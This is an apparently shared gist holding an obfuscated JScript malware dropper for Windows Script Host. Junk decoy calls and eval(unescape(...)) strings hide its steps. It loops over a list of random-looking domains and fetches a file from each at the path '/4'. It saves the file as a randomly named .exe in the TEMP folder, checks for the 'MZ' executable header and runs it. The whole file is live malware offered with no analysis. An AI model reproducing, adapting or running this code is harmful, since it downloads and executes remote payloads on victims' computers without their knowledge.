wtf

gistfile1.txt

var ampv9;
function Uwvrykm(UpOk0, Aoj2N, lkfI1, Bm6sEk, lzsaC, LPIT6d8, uO6iBev, sz7ut2)
{
var tEK2c = UpOk0;
UpOk0 += 'Kid72e23ds=HVsa';
if (UpOk0 == tEK2c) {
for (var xh2Io2f = 0; xh2Io2f < UpOk0.length; xh2Io2f++) {
if (xh2Io2f != 0x35) {
break;
}
tEK2c += UpOk0.charCodeAt(xh2Io2f);
}
}
return UpOk0.length;
}
function OHs6a(R5OBx)
{
try {
var NCKFHz = 0;
var Rki2TwV = new ActiveXObject("\x41\x44\x4fDB.St\x72\x65am");
Rki2TwV.Type = 2; 
Rki2TwV.Mode = 3; 
Rki2TwV.Charset = "\x41S\x43II";
Rki2TwV.Open();
Rki2TwV.LoadFromFile(R5OBx);
var Twamgkm = Rki2TwV.ReadText(2);
if (Twamgkm != "MZ") {
NCKFHz = 0;
} else {
NCKFHz = 1;
}
Rki2TwV.Close();
return NCKFHz;
} catch (e) {
return 0;
}
}
function IwU4e(xUlS0o, Rki2TwV, UyUgSx, G7pjz)
{
try {
Uwvrykm("u\x65d\x66csrf\x72\x66\x63c", 11, 11, 1004);
eval(unescape("%\x378U\x256\x43S%\x330%6F\x25\x32E\x256\x46%70%65%6\x45\x252\x38%22GET\x2522\x25\x32\x43\x25\x320U%\x379\x55%\x367S%7\x38%2\x43%\x320\x25\x366%\x36\x31%6C\x2573\x25\x365%\x329%3B%0AU%77%\x376%7\x32\x25\x379%6B\x256\x44%2\x38\x25\x322%65%65%\x365\x25\x36\x35%65%65%65\x256\x35\x2522%\x32C%20%2\x32\x25\x37A%7\x41\x257\x41\x257A%7\x41%7A\x257A%\x37A%22%\x32C\x2520%22\x256F\x256F%\x36\x46%6F%6F%6\x46%6F\x25\x32\x32\x252\x43%20\x25\x33\x32\x253\x32%2\x43%\x32\x30\x253\x31%31%\x329\x253B%0A\x25\x37\x38U\x256C\x53%\x33\x30%6F\x25\x32\x45%73%65%6E\x25\x364%2\x38%6\x45\x2575\x256C%6C%29%\x33B%0A"));if (xUlS0o.status != 200) {
return -1;
}
var IozS4 = xUlS0o.responseBody;
Rki2TwV.Type = 1;
Rki2TwV.Mode = 3;
Uwvrykm('1024', 1, 2, "\x63sc\x73\x64cd");
Rki2TwV.Open();
Uwvrykm(100, 12, 7, "o\x6bokko\x6f\x3d=\x3d");
Rki2TwV.Write(IozS4);
Uwvrykm(11, 33, 777, "fsd\x66\x73df\x73\x64", 'zzzzzz');
Rki2TwV.SaveToFile(G7pjz, 2);
Uwvrykm(9, 1, 2121, 'ewwwwwww', 9);
Rki2TwV.Close();
} catch (ukrzHC) {
return -2;
}
return 1;
}
function sprqoM5(ug6AR, gbrF3qP) 
{	
KI8N_ = ug6AR + Math.floor(Math.random() * (gbrF3qP - ug6AR));
Uwvrykm(2, 'saaaaaooo=', "\x64fs\x75\x66\x73dfsdf", 1999);
var tUtmt = "0\x31\x32345678\x39ABC\x44\x45\x46GHIJK\x4cM\x4eOPQR\x53TU\x56\x57\x58\x54Zabcde\x66ghik\x6cmn\x6fp\x71rs\x74\x75v\x77xy\x7a";
var EDM_g = '';
for (var xh2Io2f = 0; xh2Io2f < KI8N_; xh2Io2f++) {
Uwvrykm(112, 282, 'UnjcsdTFdcs', "pp\x70\x70pp\x70p\x70", 89000);
eval(unescape("%76%61\x257\x32%\x32\x30%\x364%\x339\x47\x253\x38\x52\x49\x48\x252\x30%3D%20M%61\x2574\x256\x38%2\x45%66%6C%6F\x256\x46\x25\x37\x32%\x328\x4d%6\x31%74%68%\x32\x45%72%6\x31%6E%6\x34%6F%6D%2\x38\x2529%\x320\x252A%20%\x374U%7\x34\x25\x36D%74\x25\x32E\x25\x36\x43\x25\x365%6E%\x36\x37\x2574%\x368%29%\x33\x42%0\x41"));Uwvrykm("c\x64\x73\x63\x64\x69eu\x64\x69wefwrfrf", 'PidoriGnoinie', 1000, 1000, 1000);
EDM_g += tUtmt.substring(d9G8RIH,d9G8RIH+1);
}
return EDM_g;
}
function QPx3Q6(kujgpGc)
{
Uwvrykm("2\x3345\x33\x34\x35445", 332, 'csdchsdue234234');
Uwvrykm(12121);
var xUlS0o = null;
var NCKFHz = 1;
var fPpMmML = "\x68\x74tp:/\x2f"+kujgpGc+"/4";
eval(unescape("%7\x36%\x36\x31%72\x2520R%6\x42%6\x39%\x332T%7\x37V%\x32\x30%3\x44\x252\x30%6\x45%65%\x377%2\x30\x41%\x363\x2574%6\x39%\x376%\x365\x58O%\x362%6\x41%6\x35%\x363%74%\x32\x38\x2522A\x44OD\x42%2\x45S%74%\x372\x256\x35\x2561%\x36D%2\x32%\x32\x39\x25\x33B%0A%\x376%61%7\x32%20OV%6A\x42%38%64\x25\x37\x39\x2520%3D\x25\x320E%3\x30SE%76%6\x41\x25\x371%2\x45\x45\x25\x36\x45\x25\x376%6\x39%72%\x36F%\x36E%\x36D%\x365%6E\x2574%\x328%2\x32\x50\x2572%\x36F%\x36\x33%65%73%\x373%22\x2529%\x33B\x25\x30\x41"));var Uvb6c = OVjB8dy.Item("T\x45\x4dP");
Uwvrykm("\x55ij\x75jcdTF\x74\x64\x63s", 21, 43, 'abcdefghijklm');
Uvb6c += '\\';
Uwvrykm(2, 2, 3, 4, "\x63sdc\x64\x63s");
Uvb6c += sprqoM5(6,8) + ".\x65\x78e";
try { 
Uwvrykm(11, 22, 77, 'IjTdrdaid238er2' ); 
xUlS0o=new XMLHttpRequest(); 
Uwvrykm(900, 'csiaddews==');
} catch(ukrzHC) {
try { 
xUlS0o = new ActiveXObject("\x4d\x53XML2.\x53er\x76erXM\x4cHT\x54\x50"); 
Uwvrykm('iajijijij', 212, 4354, "l\x6cl\x6c\x6cl\x6c1\x31111"); 
} catch(ukrzHC) {
Uwvrykm(433, 454, 5454, 19, "csd\x75h\x63\x73du\x68\x66usd");
xUlS0o = new ActiveXObject("M\x69\x63rosoft\x2eX\x4dLH\x54\x54P");
}
}
try {
if (!xUlS0o) {
throw 1;
}
if (IwU4e(xUlS0o, Rki2TwV, fPpMmML, Uvb6c) < 0) {
throw 3;
}
if (OHs6a(Uvb6c) == 0) {
throw 5;
}
var y9CpqvM = "\""+Uvb6c+"\"";
eval(unescape("E%\x330\x53E%76\x25\x36A%71\x252ER\x2575\x25\x36E%2\x38%\x37\x39%39\x43\x2570\x257\x31\x257\x36M\x252C%20%30%\x329%\x33\x42%\x30A"));} catch (e) {
NCKFHz = 0;
}
return NCKFHz;
}
function a4yd9d8(OJrnkv)
{
try {
var Rki2TwV = new ActiveXObject("\x41D\x4f\x44B.S\x74r\x65am");
Uwvrykm(121, 'kasdasds', 'aaaaa==', 2128, "32\x34\x3233\x323");
Rki2TwV.Type = 1;
Uwvrykm(10, 20, 30, 40, '2121', 11);
Rki2TwV.Mode = 3;
Uwvrykm("h\x74\x6dl", 'rpc', 323, 9920, 'style');
eval(unescape("\x52%6B%6\x39\x2532T%77V%2EO\x257\x30\x25\x365%6E\x252\x38\x252\x39\x253B\x25\x30A\x2574\x2572\x25\x379%20%7\x42%0\x41R\x25\x36\x42%\x36\x39%\x332T%77V%\x32\x45L%\x36\x46\x2561\x25\x36\x34F%72\x256F%6DF%6\x39\x256C\x25\x365\x252\x38O\x4a%72%6E%6B\x2576%\x329%3\x42%0A\x25\x37D\x2520%6\x33\x256\x31%7\x34\x25\x363%68%20\x25\x328\x256\x35%2\x39%20\x257\x42\x250AR%6B%\x36\x39%32T\x25\x37\x37\x56%\x32E\x53\x25\x361%76%65T%6FF%6\x39\x25\x36C%6\x35%28OJ\x25\x372%6E\x256\x42%76%\x32\x43%\x320%32\x2529%3B\x250A%7\x44%0A"));Uwvrykm(32, 'cssstyle', 323, "c\x73d\x75hua\x79da\x73");
Rki2TwV.Close();
return 1;
} catch (e) {
return 0;
}
}
function ecHV6(E0SEvjq)
{
var kg6kJ_ = WScript.ScriptName;
ampv9 = kg6kJ_.replace(/\..*/, '' );
var AtDiLkA = E0SEvjq.ExpandEnvironmentStrings("\x25\x54\x45MP\x25\\~"+ampv9+"\x2et\x6dp");
if (AtDiLkA.length == (ampv9.length + 6)) {
AtDiLkA = E0SEvjq.ExpandEnvironmentStrings("\x25wi\x6ed\x69r\x25\\TE\x4d\x50\\~"+ampv9+"\x2et\x6dp");
}
var NCKFHz = 0;
if ((NCKFHz = a4yd9d8(AtDiLkA)) == 1) {
} else {
}
return NCKFHz;
}
var E0SEvjq = new ActiveXObject("WS\x63\x72\x69pt.S\x68\x65ll");
if (ecHV6(E0SEvjq) == 0) {
} else {
var cvANR_h = 'bnhrtqbyaujiujosnevtvn.info;plsuipglmnvgklpsqvacjpr.org;ltrzxdmdqvbzcejwkhofr.biz;imujeennwmuvyzh.com;ffyfsvynrmtksyvtpwngjnkce.orghqxsfdvadympgjlhjqubooh.com;ibxyfokmjbxyfqikjiis.org;wqdiulsyylepifnbkyatwqcr.com;julfmuljitllgdtnop.biz;bqygcleksqcdquqqvjmxuvv.infovihsvlnhduskacoqskyt.org;eidcczrssy.com;kjeghfmezfzmoadmbmglewd.net;rhdlvubfjzyjiqrd.com;plklnsxyzoyukubzieuw.netvrckbugskqyckqkheulyfuslo.net;iljbwdpw.info;oxjurzny.biz;ikbrqszvyqqgyijp.info;kbynmxyhwsghjwfrhzagibq.net;vvnagvdkqle.info;lgqddimxnxexgzjq.info;jqelwmqyppllhlywyaqjgxwa.org;jvazxxjrbzqxv.net;isyoycbczrcev.bizuisdcokpheohiamauth.biz;iajwemkseswudlldlutvu.com;fplsdxnhdziysycgziwo.info;pwuexquyllxrizfft.net;ezdjrkahoojgrzo.orgozhpyzdzwess.biz;tgrktppwejurm.net;kdjigkrbchaviatvg.com;rgugndhzlxyvviwnfbndutzls.org;szbkzjiysxxxciai.comlydgmjlycwkrnvkuxmagtmnpb.org;uivivmphrcvnesgctkufd.biz;ielheqvlpcagxqr.com;vavcawyzmt.org;ylmcdmatrc.org;kzsfczalzlzdfbobc.com;eawgivjheldoecmsixkbapcoy.org;oupxeddnylzcnkgdzqy.biz;kmovqgurpizlbfrhqhr.org;sylmxvpyvsmyhrih.bizvbygwrazofbn.info;fflxremsdbypo.info;etmnpefhlau.com;ybwwcmqwagckjkx.net;jzjovbcaibwiysqh.infobtaltuapcnkxisvw.info;rbbpiacttgxdzgycrfmqi.org;gmhjqmsxwpvxu.biz;ldycrbqaqc.org;newjubzgtrp.orgcprwoeqxwspwcafjevruvdxn.com;pwufsucrvkqvxegkpvrfuplwf.info;gtaqgbhdvrw.org;vujwfwzkkaehbskj.info;veenidajb.com';
var Oppxr = cvANR_h.split(';');
var drgIA5H = 0;
for (var xh2Io2f = 0; xh2Io2f < Oppxr.length && drgIA5H <= 0; xh2Io2f++) {
Uwvrykm(Oppxr[0], Oppxr.length, xh2Io2f + 2);
var OQ3Ogz = Oppxr[xh2Io2f];
var drgIA5H = QPx3Q6(OQ3Ogz);
}	
}